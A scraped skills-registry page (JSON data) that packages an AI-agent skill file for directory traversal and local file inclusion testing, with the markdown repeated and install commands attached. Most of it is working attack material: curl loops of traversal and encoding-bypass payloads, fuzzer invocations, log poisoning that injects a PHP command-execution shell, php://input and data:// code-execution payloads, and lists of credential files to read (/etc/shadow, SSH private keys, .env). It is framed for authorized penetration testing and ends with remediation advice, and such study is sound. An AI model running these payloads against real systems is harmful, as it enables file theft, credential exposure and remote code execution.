[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M78TKCGVPD41EVAGZ1YMC976":3,"skill-same:01M78TKCGVPD41EVAGZ1YMC976":75},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":36,"commitSha":37,"skillDirectory":38,"forksCount":39,"repositoryHtmlUrl":40,"repositoryHomepageUrl":6,"ownerHtmlUrl":41,"ownerBlogUrl":42,"ownerDescription":43,"updatedAt":44,"install":45,"resources":58},"01M78TKCGVPD41EVAGZ1YMC976","performing-directory-traversal-testing",null,"Testing web applications for path traversal vulnerabilities that allow reading or writing arbitrary files on the server by manipulating file path parameters.","jukeyman\u002Fjukeyman-skills","jukeyman","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F142960420?v=4","01M78FR4Y3DHMMCBCC0GXXNB3F","RICK JEFFERSON","01M78FR4Z8RVQRAD31Y5J7V6EB",1,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-directory-traversal-testing\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-directory-traversal-testing\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: performing-directory-traversal-testing\ndescription: Testing web applications for path traversal vulnerabilities that allow reading or writing arbitrary files on the server by manipulating file path parameters.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags: [penetration-testing, directory-traversal, path-traversal, lfi, owasp, web-security]\nversion: \"1.0\"\nauthor: mahipal\nlicense: Apache-2.0\n---\n\n# Performing Directory Traversal Testing\n\n## When to Use\n\n- During authorized penetration tests when the application handles file paths in URL parameters or request bodies\n- When testing file download, file view, or file include functionality\n- For assessing Local File Inclusion (LFI) and Remote File Inclusion (RFI) vulnerabilities\n- When evaluating template engines, logging systems, or report generators that reference files\n- During security assessments of APIs that accept file names or paths as parameters\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Burp Suite Professional**: For intercepting and modifying file path parameters\n- **ffuf**: For fuzzing file path parameters with traversal payloads\n- **dotdotpwn**: Automated directory traversal fuzzer (`apt install dotdotpwn`)\n- **SecLists**: Traversal payload wordlists from Daniel Miessler's collection\n- **curl**: For manual testing of traversal payloads\n\n## Workflow\n\n### Step 1: Identify File Path Parameters\n\nFind application endpoints that reference files through parameters.\n\n```bash\n# Common file-handling patterns to look for:\n# \u002Fdownload?file=report.pdf\n# \u002Fview?page=about.html\n# \u002Fapi\u002Ffiles?path=documents\u002Finvoice.pdf\n# \u002Ftemplate?name=header.html\n# \u002Finclude?module=sidebar\n# \u002Fimage?src=photos\u002Favatar.jpg\n# \u002Fexport?format=csv&template=default\n\n# In Burp Suite, search proxy history for file-related parameters\n# Filter by parameter names: file, path, page, template, include,\n# module, src, doc, document, folder, dir, name, filename\n\n# Test with a known valid file to establish baseline\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=report.pdf\" -o \u002Fdev\u002Fnull -w \"%{http_code} %{size_download}\"\n\n# Try referencing a file that shouldn't be accessible\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n```\n\n### Step 2: Test Basic Directory Traversal Payloads\n\nAttempt to escape the intended directory and read sensitive files.\n\n```bash\n# Linux traversal payloads\nPAYLOADS=(\n  \"..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..%2f..%2f..%2fetc%2fpasswd\"\n  \"..%252f..%252f..%252fetc%252fpasswd\"\n  \"%2e%2e\u002F%2e%2e\u002F%2e%2e\u002Fetc\u002Fpasswd\"\n  \"....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\"\n  \"..;\u002F..;\u002F..;\u002Fetc\u002Fpasswd\"\n)\n\nfor payload in \"${PAYLOADS[@]}\"; do\n  echo -n \"Testing: $payload -> \"\n  response=$(curl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$payload\")\n  if echo \"$response\" | grep -q \"root:\"; then\n    echo \"VULNERABLE\"\n  else\n    echo \"Blocked\"\n  fi\ndone\n\n# Windows traversal payloads\nWIN_PAYLOADS=(\n  \"..\\..\\..\\windows\\win.ini\"\n  \"..%5c..%5c..%5cwindows%5cwin.ini\"\n  \"..\\\u002F..\\\u002F..\\\u002Fwindows\u002Fwin.ini\"\n  \"....\\\\....\\\\....\\\\windows\\\\win.ini\"\n)\n\nfor payload in \"${WIN_PAYLOADS[@]}\"; do\n  echo -n \"Testing: $payload -> \"\n  curl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$payload\" | head -c 100\n  echo\ndone\n```\n\n### Step 3: Apply Encoding and Filter Bypass Techniques\n\nUse various encoding schemes to bypass input validation filters.\n\n```bash\n# URL encoding bypass\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd\"\n\n# Double URL encoding\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd\"\n\n# UTF-8 encoding\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd\"\n\n# Null byte injection (PHP \u003C 5.3.4)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd%00.pdf\"\n\n# Path truncation (Windows)\n# Exceeding MAX_PATH (260 chars) to bypass extension checks\nLONG_PATH=\"..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\nfor i in $(seq 1 200); do LONG_PATH=\"${LONG_PATH}\u002F.\"; done\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$LONG_PATH\"\n\n# Case manipulation (Windows)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..\\..\\..\\..\\WiNdOwS\\win.ini\"\n\n# Dot-dot-slash variations\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\"\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=....\u002F\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n\n# Using absolute path (if filter only blocks relative traversal)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=\u002Fetc\u002Fpasswd\"\n```\n\n### Step 4: Automate with ffuf and dotdotpwn\n\nUse automated tools for comprehensive traversal testing.\n\n```bash\n# ffuf with traversal payload list\nffuf -u \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=FUZZ\" \\\n  -w \u002Fusr\u002Fshare\u002Fseclists\u002FFuzzing\u002FLFI\u002FLFI-Jhaddix.txt \\\n  -mc 200 \\\n  -fs 0 \\\n  -t 20 -rate 50 \\\n  -o traversal-results.json -of json\n\n# dotdotpwn for systematic traversal testing\ndotdotpwn -m http-url \\\n  -u \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=TRAVERSAL\" \\\n  -k \"root:\" \\\n  -o \u002Ftmp\u002Fdotdotpwn-results.txt \\\n  -d 8 -t 200\n\n# Burp Intruder approach:\n# 1. Send request to Intruder\n# 2. Mark the file parameter value as insertion point\n# 3. Load LFI payload list from SecLists\n# 4. Add Grep Match rules for: \"root:\", \"[extensions]\", \"for 16-bit\"\n# 5. Start attack and review matches\n```\n\n### Step 5: Test Local File Inclusion (LFI) for Code Execution\n\nIf LFI is confirmed, attempt to escalate to remote code execution.\n\n```bash\n# PHP LFI to RCE via log poisoning\n# Step 1: Inject PHP code into access log\ncurl -s -A \"\u003C?php system(\\$_GET['cmd']); ?>\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F\"\n\n# Step 2: Include the log file via LFI\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=..\u002F..\u002F..\u002Fvar\u002Flog\u002Fapache2\u002Faccess.log&cmd=id\"\n\n# PHP wrapper for file read (base64 encode to avoid parsing)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=config.php\"\n\n# PHP wrapper for code execution\ncurl -s -X POST \\\n  -d \"\u003C?php system('id'); ?>\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=php:\u002F\u002Finput\"\n\n# PHP data wrapper\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=data:\u002F\u002Ftext\u002Fplain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA\u002FPg==\"\n\n# Include \u002Fproc\u002Fself\u002Fenviron (if readable)\ncurl -s -A \"\u003C?php phpinfo(); ?>\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=..\u002F..\u002F..\u002Fproc\u002Fself\u002Fenviron\"\n\n# Session file inclusion\n# Write PHP code into session via another parameter\n# Then include: \u002Ftmp\u002Fsess_\u003CPHPSESSID>\n```\n\n### Step 6: Read High-Value Files\n\nTarget sensitive configuration and credential files.\n\n```bash\n# Linux high-value files\nHIGH_VALUE_LINUX=(\n  \"\u002Fetc\u002Fpasswd\"\n  \"\u002Fetc\u002Fshadow\"\n  \"\u002Fetc\u002Fhosts\"\n  \"\u002Fetc\u002Fhostname\"\n  \"\u002Fproc\u002Fself\u002Fenviron\"\n  \"\u002Fproc\u002Fself\u002Fcmdline\"\n  \"\u002Fvar\u002Fwww\u002Fhtml\u002F.env\"\n  \"\u002Fvar\u002Fwww\u002Fhtml\u002Fconfig.php\"\n  \"\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-config.php\"\n  \"\u002Fhome\u002Fuser\u002F.ssh\u002Fid_rsa\"\n  \"\u002Fhome\u002Fuser\u002F.bash_history\"\n  \"\u002Froot\u002F.bash_history\"\n  \"\u002Fvar\u002Flog\u002Fauth.log\"\n)\n\nfor file in \"${HIGH_VALUE_LINUX[@]}\"; do\n  traversal=\"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..$file\"\n  echo -n \"$file: \"\n  response=$(curl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$traversal\")\n  if [ ${#response} -gt 10 ]; then\n    echo \"READABLE (${#response} bytes)\"\n  else\n    echo \"Not accessible\"\n  fi\ndone\n\n# Windows high-value files\nHIGH_VALUE_WIN=(\n  \"C:\\\\Windows\\\\win.ini\"\n  \"C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts\"\n  \"C:\\\\inetpub\\\\wwwroot\\\\web.config\"\n  \"C:\\\\Users\\\\Administrator\\\\.ssh\\\\id_rsa\"\n  \"C:\\\\xampp\\\\apache\\\\conf\\\\httpd.conf\"\n  \"C:\\\\xampp\\\\mysql\\\\data\\\\mysql\\\\user.MYD\"\n)\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Directory Traversal** | Using `..\u002F` sequences to navigate to parent directories and access files outside the intended path |\n| **Local File Inclusion (LFI)** | Server-side inclusion of local files, potentially leading to code execution |\n| **Remote File Inclusion (RFI)** | Including files from external URLs (requires `allow_url_include=On` in PHP) |\n| **Null Byte Injection** | Using `%00` to truncate file paths, bypassing extension checks in older PHP versions |\n| **PHP Wrappers** | Protocols like `php:\u002F\u002Ffilter`, `php:\u002F\u002Finput`, `data:\u002F\u002F` for reading and executing files |\n| **Log Poisoning** | Injecting code into log files and then including them via LFI for code execution |\n| **Path Canonicalization** | The process of resolving relative paths to absolute paths, which can be exploited |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Request interception and Intruder for automated payload testing |\n| **ffuf** | Fast fuzzing with LFI\u002Ftraversal wordlists |\n| **dotdotpwn** | Dedicated directory traversal fuzzer with multiple traversal patterns |\n| **LFISuite** | Automated LFI exploitation tool with multiple techniques |\n| **SecLists** | Comprehensive wordlists including LFI payloads and traversal patterns |\n| **Kadimus** | LFI scanning and exploitation tool |\n\n## Common Scenarios\n\n### Scenario 1: File Download Traversal\nA document download endpoint at `\u002Fdownload?file=report.pdf` does not validate the file parameter. Replacing the value with `..\u002F..\u002F..\u002Fetc\u002Fpasswd` returns the server's password file.\n\n### Scenario 2: Template LFI to RCE\nA PHP application includes templates via `?page=home`. By poisoning the Apache access log with PHP code in the User-Agent header, then including the log file, the attacker achieves remote code execution.\n\n### Scenario 3: Image Path Traversal\nAn image resizing service accepts `?src=images\u002Fphoto.jpg`. The application strips `..\u002F` once but does not recurse, so `....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd` bypasses the filter.\n\n### Scenario 4: Windows IIS Configuration Leak\nA .NET application serves files via `?path=docs\\manual.pdf`. Traversing to `..\\..\\web.config` exposes the IIS configuration file containing database connection strings.\n\n## Output Format\n\n```\n## Directory Traversal Finding\n\n**Vulnerability**: Path Traversal \u002F Local File Inclusion\n**Severity**: High (CVSS 8.6)\n**Location**: GET \u002Fdownload?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd\n**OWASP Category**: A01:2021 - Broken Access Control\n\n### Reproduction Steps\n1. Navigate to https:\u002F\u002Ftarget.example.com\u002Fdownload?file=report.pdf\n2. Replace file parameter: ?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd\n3. Server returns contents of \u002Fetc\u002Fpasswd\n\n### Files Retrieved\n| File | Impact |\n|------|--------|\n| \u002Fetc\u002Fpasswd | User enumeration (42 accounts) |\n| \u002Fvar\u002Fwww\u002Fhtml\u002F.env | Database credentials exposed |\n| \u002Fhome\u002Fdeploy\u002F.ssh\u002Fid_rsa | SSH private key recovered |\n| \u002Fproc\u002Fself\u002Fenviron | Environment variables with API keys |\n\n### Filter Bypass Required\nOriginal `..\u002F` stripped by filter. Successful bypass: `....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd`\n\n### Recommendation\n1. Use an allowlist of permitted file names rather than accepting arbitrary paths\n2. Resolve the canonical path and verify it stays within the intended directory\n3. Run the web server with minimal file system permissions\n4. Remove sensitive files from web-accessible directories\n5. Disable PHP wrappers (allow_url_include, allow_url_fopen) if not required\n```\n","# Performing Directory Traversal Testing\n\n## When to Use\n\n- During authorized penetration tests when the application handles file paths in URL parameters or request bodies\n- When testing file download, file view, or file include functionality\n- For assessing Local File Inclusion (LFI) and Remote File Inclusion (RFI) vulnerabilities\n- When evaluating template engines, logging systems, or report generators that reference files\n- During security assessments of APIs that accept file names or paths as parameters\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Burp Suite Professional**: For intercepting and modifying file path parameters\n- **ffuf**: For fuzzing file path parameters with traversal payloads\n- **dotdotpwn**: Automated directory traversal fuzzer (`apt install dotdotpwn`)\n- **SecLists**: Traversal payload wordlists from Daniel Miessler's collection\n- **curl**: For manual testing of traversal payloads\n\n## Workflow\n\n### Step 1: Identify File Path Parameters\n\nFind application endpoints that reference files through parameters.\n\n```bash\n# Common file-handling patterns to look for:\n# \u002Fdownload?file=report.pdf\n# \u002Fview?page=about.html\n# \u002Fapi\u002Ffiles?path=documents\u002Finvoice.pdf\n# \u002Ftemplate?name=header.html\n# \u002Finclude?module=sidebar\n# \u002Fimage?src=photos\u002Favatar.jpg\n# \u002Fexport?format=csv&template=default\n\n# In Burp Suite, search proxy history for file-related parameters\n# Filter by parameter names: file, path, page, template, include,\n# module, src, doc, document, folder, dir, name, filename\n\n# Test with a known valid file to establish baseline\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=report.pdf\" -o \u002Fdev\u002Fnull -w \"%{http_code} %{size_download}\"\n\n# Try referencing a file that shouldn't be accessible\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n```\n\n### Step 2: Test Basic Directory Traversal Payloads\n\nAttempt to escape the intended directory and read sensitive files.\n\n```bash\n# Linux traversal payloads\nPAYLOADS=(\n  \"..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..%2f..%2f..%2fetc%2fpasswd\"\n  \"..%252f..%252f..%252fetc%252fpasswd\"\n  \"%2e%2e\u002F%2e%2e\u002F%2e%2e\u002Fetc\u002Fpasswd\"\n  \"....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\"\n  \"..;\u002F..;\u002F..;\u002Fetc\u002Fpasswd\"\n)\n\nfor payload in \"${PAYLOADS[@]}\"; do\n  echo -n \"Testing: $payload -> \"\n  response=$(curl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$payload\")\n  if echo \"$response\" | grep -q \"root:\"; then\n    echo \"VULNERABLE\"\n  else\n    echo \"Blocked\"\n  fi\ndone\n\n# Windows traversal payloads\nWIN_PAYLOADS=(\n  \"..\\..\\..\\windows\\win.ini\"\n  \"..%5c..%5c..%5cwindows%5cwin.ini\"\n  \"..\\\u002F..\\\u002F..\\\u002Fwindows\u002Fwin.ini\"\n  \"....\\\\....\\\\....\\\\windows\\\\win.ini\"\n)\n\nfor payload in \"${WIN_PAYLOADS[@]}\"; do\n  echo -n \"Testing: $payload -> \"\n  curl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$payload\" | head -c 100\n  echo\ndone\n```\n\n### Step 3: Apply Encoding and Filter Bypass Techniques\n\nUse various encoding schemes to bypass input validation filters.\n\n```bash\n# URL encoding bypass\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd\"\n\n# Double URL encoding\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd\"\n\n# UTF-8 encoding\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd\"\n\n# Null byte injection (PHP \u003C 5.3.4)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd%00.pdf\"\n\n# Path truncation (Windows)\n# Exceeding MAX_PATH (260 chars) to bypass extension checks\nLONG_PATH=\"..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\nfor i in $(seq 1 200); do LONG_PATH=\"${LONG_PATH}\u002F.\"; done\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$LONG_PATH\"\n\n# Case manipulation (Windows)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..\\..\\..\\..\\WiNdOwS\\win.ini\"\n\n# Dot-dot-slash variations\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\"\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=....\u002F\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n\n# Using absolute path (if filter only blocks relative traversal)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=\u002Fetc\u002Fpasswd\"\n```\n\n### Step 4: Automate with ffuf and dotdotpwn\n\nUse automated tools for comprehensive traversal testing.\n\n```bash\n# ffuf with traversal payload list\nffuf -u \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=FUZZ\" \\\n  -w \u002Fusr\u002Fshare\u002Fseclists\u002FFuzzing\u002FLFI\u002FLFI-Jhaddix.txt \\\n  -mc 200 \\\n  -fs 0 \\\n  -t 20 -rate 50 \\\n  -o traversal-results.json -of json\n\n# dotdotpwn for systematic traversal testing\ndotdotpwn -m http-url \\\n  -u \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=TRAVERSAL\" \\\n  -k \"root:\" \\\n  -o \u002Ftmp\u002Fdotdotpwn-results.txt \\\n  -d 8 -t 200\n\n# Burp Intruder approach:\n# 1. Send request to Intruder\n# 2. Mark the file parameter value as insertion point\n# 3. Load LFI payload list from SecLists\n# 4. Add Grep Match rules for: \"root:\", \"[extensions]\", \"for 16-bit\"\n# 5. Start attack and review matches\n```\n\n### Step 5: Test Local File Inclusion (LFI) for Code Execution\n\nIf LFI is confirmed, attempt to escalate to remote code execution.\n\n```bash\n# PHP LFI to RCE via log poisoning\n# Step 1: Inject PHP code into access log\ncurl -s -A \"\u003C?php system(\\$_GET['cmd']); ?>\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F\"\n\n# Step 2: Include the log file via LFI\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=..\u002F..\u002F..\u002Fvar\u002Flog\u002Fapache2\u002Faccess.log&cmd=id\"\n\n# PHP wrapper for file read (base64 encode to avoid parsing)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=config.php\"\n\n# PHP wrapper for code execution\ncurl -s -X POST \\\n  -d \"\u003C?php system('id'); ?>\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=php:\u002F\u002Finput\"\n\n# PHP data wrapper\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=data:\u002F\u002Ftext\u002Fplain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA\u002FPg==\"\n\n# Include \u002Fproc\u002Fself\u002Fenviron (if readable)\ncurl -s -A \"\u003C?php phpinfo(); ?>\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=..\u002F..\u002F..\u002Fproc\u002Fself\u002Fenviron\"\n\n# Session file inclusion\n# Write PHP code into session via another parameter\n# Then include: \u002Ftmp\u002Fsess_\u003CPHPSESSID>\n```\n\n### Step 6: Read High-Value Files\n\nTarget sensitive configuration and credential files.\n\n```bash\n# Linux high-value files\nHIGH_VALUE_LINUX=(\n  \"\u002Fetc\u002Fpasswd\"\n  \"\u002Fetc\u002Fshadow\"\n  \"\u002Fetc\u002Fhosts\"\n  \"\u002Fetc\u002Fhostname\"\n  \"\u002Fproc\u002Fself\u002Fenviron\"\n  \"\u002Fproc\u002Fself\u002Fcmdline\"\n  \"\u002Fvar\u002Fwww\u002Fhtml\u002F.env\"\n  \"\u002Fvar\u002Fwww\u002Fhtml\u002Fconfig.php\"\n  \"\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-config.php\"\n  \"\u002Fhome\u002Fuser\u002F.ssh\u002Fid_rsa\"\n  \"\u002Fhome\u002Fuser\u002F.bash_history\"\n  \"\u002Froot\u002F.bash_history\"\n  \"\u002Fvar\u002Flog\u002Fauth.log\"\n)\n\nfor file in \"${HIGH_VALUE_LINUX[@]}\"; do\n  traversal=\"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..$file\"\n  echo -n \"$file: \"\n  response=$(curl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$traversal\")\n  if [ ${#response} -gt 10 ]; then\n    echo \"READABLE (${#response} bytes)\"\n  else\n    echo \"Not accessible\"\n  fi\ndone\n\n# Windows high-value files\nHIGH_VALUE_WIN=(\n  \"C:\\\\Windows\\\\win.ini\"\n  \"C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts\"\n  \"C:\\\\inetpub\\\\wwwroot\\\\web.config\"\n  \"C:\\\\Users\\\\Administrator\\\\.ssh\\\\id_rsa\"\n  \"C:\\\\xampp\\\\apache\\\\conf\\\\httpd.conf\"\n  \"C:\\\\xampp\\\\mysql\\\\data\\\\mysql\\\\user.MYD\"\n)\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Directory Traversal** | Using `..\u002F` sequences to navigate to parent directories and access files outside the intended path |\n| **Local File Inclusion (LFI)** | Server-side inclusion of local files, potentially leading to code execution |\n| **Remote File Inclusion (RFI)** | Including files from external URLs (requires `allow_url_include=On` in PHP) |\n| **Null Byte Injection** | Using `%00` to truncate file paths, bypassing extension checks in older PHP versions |\n| **PHP Wrappers** | Protocols like `php:\u002F\u002Ffilter`, `php:\u002F\u002Finput`, `data:\u002F\u002F` for reading and executing files |\n| **Log Poisoning** | Injecting code into log files and then including them via LFI for code execution |\n| **Path Canonicalization** | The process of resolving relative paths to absolute paths, which can be exploited |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Request interception and Intruder for automated payload testing |\n| **ffuf** | Fast fuzzing with LFI\u002Ftraversal wordlists |\n| **dotdotpwn** | Dedicated directory traversal fuzzer with multiple traversal patterns |\n| **LFISuite** | Automated LFI exploitation tool with multiple techniques |\n| **SecLists** | Comprehensive wordlists including LFI payloads and traversal patterns |\n| **Kadimus** | LFI scanning and exploitation tool |\n\n## Common Scenarios\n\n### Scenario 1: File Download Traversal\nA document download endpoint at `\u002Fdownload?file=report.pdf` does not validate the file parameter. Replacing the value with `..\u002F..\u002F..\u002Fetc\u002Fpasswd` returns the server's password file.\n\n### Scenario 2: Template LFI to RCE\nA PHP application includes templates via `?page=home`. By poisoning the Apache access log with PHP code in the User-Agent header, then including the log file, the attacker achieves remote code execution.\n\n### Scenario 3: Image Path Traversal\nAn image resizing service accepts `?src=images\u002Fphoto.jpg`. The application strips `..\u002F` once but does not recurse, so `....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd` bypasses the filter.\n\n### Scenario 4: Windows IIS Configuration Leak\nA .NET application serves files via `?path=docs\\manual.pdf`. Traversing to `..\\..\\web.config` exposes the IIS configuration file containing database connection strings.\n\n## Output Format\n\n```\n## Directory Traversal Finding\n\n**Vulnerability**: Path Traversal \u002F Local File Inclusion\n**Severity**: High (CVSS 8.6)\n**Location**: GET \u002Fdownload?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd\n**OWASP Category**: A01:2021 - Broken Access Control\n\n### Reproduction Steps\n1. Navigate to https:\u002F\u002Ftarget.example.com\u002Fdownload?file=report.pdf\n2. Replace file parameter: ?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd\n3. Server returns contents of \u002Fetc\u002Fpasswd\n\n### Files Retrieved\n| File | Impact |\n|------|--------|\n| \u002Fetc\u002Fpasswd | User enumeration (42 accounts) |\n| \u002Fvar\u002Fwww\u002Fhtml\u002F.env | Database credentials exposed |\n| \u002Fhome\u002Fdeploy\u002F.ssh\u002Fid_rsa | SSH private key recovered |\n| \u002Fproc\u002Fself\u002Fenviron | Environment variables with API keys |\n\n### Filter Bypass Required\nOriginal `..\u002F` stripped by filter. Successful bypass: `....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd`\n\n### Recommendation\n1. Use an allowlist of permitted file names rather than accepting arbitrary paths\n2. Resolve the canonical path and verify it stays within the intended directory\n3. Run the web server with minimal file system permissions\n4. Remove sensitive files from web-accessible directories\n5. Disable PHP wrappers (allow_url_include, allow_url_fopen) if not required\n```\n",{"name":5,"tags":25,"author":32,"domain":33,"license":15,"version":34,"subdomain":35,"description":7},[26,27,28,29,30,31],"penetration-testing","directory-traversal","path-traversal","lfi","owasp","web-security","mahipal","cybersecurity","1.0","web-application-security","main","99825ad3f3bcc6597ddcc7294a14e6e922f2b67b","skills\u002Fperforming-directory-traversal-testing",0,"https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills","https:\u002F\u002Fgithub.com\u002Fjukeyman","https:\u002F\u002FRJBUSINESSSOLUTIONS.ORG","Credit and Finance Expert | Developer\r\n\r\nI'm Rick Jefferson, a seasoned credit and finance expert with over a decade of experience in financial literacy,","2026-07-13 07:03:29",{"source":8,"skillName":5,"commands":46,"prompt":56,"zipAvailable":57},[47,50,53],{"tool":48,"command":49},"npx","npx skills add jukeyman\u002Fjukeyman-skills --skill performing-directory-traversal-testing",{"tool":51,"command":52},"bunx","bunx skills add jukeyman\u002Fjukeyman-skills --skill performing-directory-traversal-testing",{"tool":54,"command":55},"pnpm","pnpm dlx skills add jukeyman\u002Fjukeyman-skills --skill 